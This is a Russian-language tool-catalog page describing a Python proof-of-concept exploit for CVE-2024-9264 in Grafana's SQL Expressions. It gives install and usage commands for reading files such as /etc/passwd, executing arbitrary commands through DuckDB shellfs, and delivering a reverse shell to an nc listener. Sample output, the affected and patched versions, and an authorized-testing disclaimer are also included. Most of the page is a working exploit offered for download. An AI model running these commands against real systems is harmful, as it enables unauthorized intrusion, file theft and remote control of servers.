Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
Инструменты/GitHubGitHub/ozcanpng/cve-2024-9264
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

Репозиторий
29 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-9264 - Эксплойт Grafana SQL Expressions DuckDB LFI/RCE PoC

Эксплойт на Python для CVE-2024-9264, уязвимости Grafana SQL Expressions, которая позволяет аутентифицированному пользователю выполнять включение локальных файлов и команд, когда duckdb доступен в PATH процесса Grafana.

Только для авторизованного тестирования и исследований. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.


Что делает

root@kitploit:~
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
  1. Отправляет аутентифицированный запрос к конечной точке запроса источника данных SQL Expressions Grafana.
  2. Считывает файлы с помощью DuckDB read_blob(). Если запрошено выполнение команды, сначала используется /etc/passwd в качестве файла проверки по умолчанию.
  3. Опционально загружает расширение DuckDB shellfs и выполняет команду через вызов read_csv() с поддержкой канала.
  4. Считывает вывод команды из /tmp/cve_2024_9264_out и выводит декодированный результат.

Уязвимая конечная точка может быть вызвана напрямую через API; взаимодействие с панелью управления (dashboard) не требуется. Аутентификация по-прежнему обязательна.


Скриншоты

Выполнение команд

Подтверждение выполнения команд

Доставка полезной нагрузки обратной оболочки

Доставка полезной нагрузки обратной оболочки

Слушатель обратной оболочки

Слушатель обратной оболочки


Установка

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

Использование

Чтение файла

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

При использовании --file отдельно скрипт напрямую считывает указанный файл и выводит декодированное содержимое в разделе результатов чтения файла.

Выполнение команд

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

Сначала скрипт выполняет проверку по умолчанию чтения файла /etc/passwd, затем доставляет полезную нагрузку команды. В разделе результатов он выводит декодированный вывод команды, а не необработанный JSON-ответ Grafana.

Обратная оболочка

Запустите слушатель:

root@kitploit:~
rlwrap nc -lvnp 4444

Отправьте полезную нагрузку обратной оболочки:

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

Пробный запуск

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

Отладка

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

Параметры

Эти параметры основаны на текущем CLI скрипта:

root@kitploit:~
-u, --url, --target TARGET
                        Target URL, e.g. http://localhost:3000
--username USERNAME     Grafana username. Default: admin
--password PASSWORD     Grafana password. Default: admin
--file FILE             File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
                        Marker expected in file read response. Default: root:
--cmd CMD               Command to execute through the DuckDB shellfs path
--reverse-shell         Run a bash reverse shell payload
--lhost LHOST           Listener host for --reverse-shell
--lport LPORT           Listener port for --reverse-shell
--timeout TIMEOUT       HTTP timeout in seconds. Default: 20
--verify-tls            Verify TLS certificates. Default: enabled
-k, --insecure          Disable TLS certificate verification
--dry-run               Print target and payload metadata without sending requests
--debug                 Print request debugging metadata

Пример вывода

Чтение файла

root@kitploit:~
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Выполнение команд

root@kitploit:~
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

Затронутые версии

ПродуктЗатронутая версияТребуемый доступВоздействие
Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x и 11.2.x до исправленных выпусков безопасностиЗритель или вышеВключение локальных файлов и внедрение команд при наличии DuckDB в PATH Grafana

Grafana отмечает, что для эксплуатации необходимо наличие бинарного файла duckdb в PATH процесса Grafana; в обычных дистрибутивах Grafana DuckDB не устанавливается по умолчанию.


Примечания

  • Требуются действительные учётные данные Grafana.
  • Учётная запись должна иметь права не ниже «Зритель».
  • Прямая эксплуатация через API не означает эксплуатацию без аутентификации; запросы по-прежнему требуют действительной сессии или учётных данных Basic Auth.
  • Чтение файла используется как первый шаг проверки перед выполнением команд.
  • Выполнение команд зависит от поведения DuckDB и расширения shellfs в целевой среде.
  • Для целей TLS, использующих самоподписанные сертификаты, передайте -k или --insecure.
  • Исправленные выпуски безопасности включают Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 и 11.2.2+security-01.

Ссылки

  • Уведомление Grafana - CVE-2024-9264
  • Блог о выпуске безопасности Grafana
  • NVD - CVE-2024-9264

Автор

ozcanpng - github.com/ozcanpng - ozcanpng.dev

Скачать инструмент